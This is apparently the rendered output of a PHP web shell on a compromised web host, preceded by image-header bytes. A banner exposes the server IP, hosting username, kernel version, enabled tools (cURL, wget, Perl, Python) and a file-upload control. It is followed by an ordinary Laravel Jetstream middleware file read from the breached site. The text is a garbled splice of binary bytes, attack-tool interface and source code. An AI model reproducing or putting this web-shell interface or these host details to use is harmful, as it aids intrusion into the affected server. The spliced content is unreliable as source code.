����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.140.250.173 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/laravel/jetstream/src/Http/Middleware/ |
Upload File : |
<?php namespace Laravel\Jetstream\Http\Middleware; use Illuminate\Support\Facades\Gate; use Illuminate\Support\Facades\Session; use Inertia\Inertia; use Laravel\Fortify\Features; use Laravel\Jetstream\Jetstream; class ShareInertiaData { /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param callable $next * @return \Illuminate\Http\Response */ public function handle($request, $next) { Inertia::share(array_filter([ 'jetstream' => function () use ($request) { return [ 'canCreateTeams' => $request->user() && Jetstream::hasTeamFeatures() && Gate::forUser($request->user())->check('create', Jetstream::newTeamModel()), 'canManageTwoFactorAuthentication' => Features::canManageTwoFactorAuthentication(), 'canUpdatePassword' => Features::enabled(Features::updatePasswords()), 'canUpdateProfileInformation' => Features::canUpdateProfileInformation(), 'flash' => $request->session()->get('flash', []), 'hasAccountDeletionFeatures' => Jetstream::hasAccountDeletionFeatures(), 'hasApiFeatures' => Jetstream::hasApiFeatures(), 'hasTeamFeatures' => Jetstream::hasTeamFeatures(), 'hasTermsAndPrivacyPolicyFeature' => Jetstream::hasTermsAndPrivacyPolicyFeature(), 'managesProfilePhotos' => Jetstream::managesProfilePhotos(), ]; }, 'user' => function () use ($request) { if (! $request->user()) { return; } if (Jetstream::hasTeamFeatures() && $request->user()) { $request->user()->currentTeam; } return array_merge($request->user()->toArray(), array_filter([ 'all_teams' => Jetstream::hasTeamFeatures() ? $request->user()->allTeams() : null, ]), [ 'two_factor_enabled' => ! is_null($request->user()->two_factor_secret), ]); }, 'errorBags' => function () { return collect(optional(Session::get('errors'))->getBags() ?: [])->mapWithKeys(function ($bag, $key) { return [$key => $bag->messages()]; })->all(); }, ])); return $next($request); } }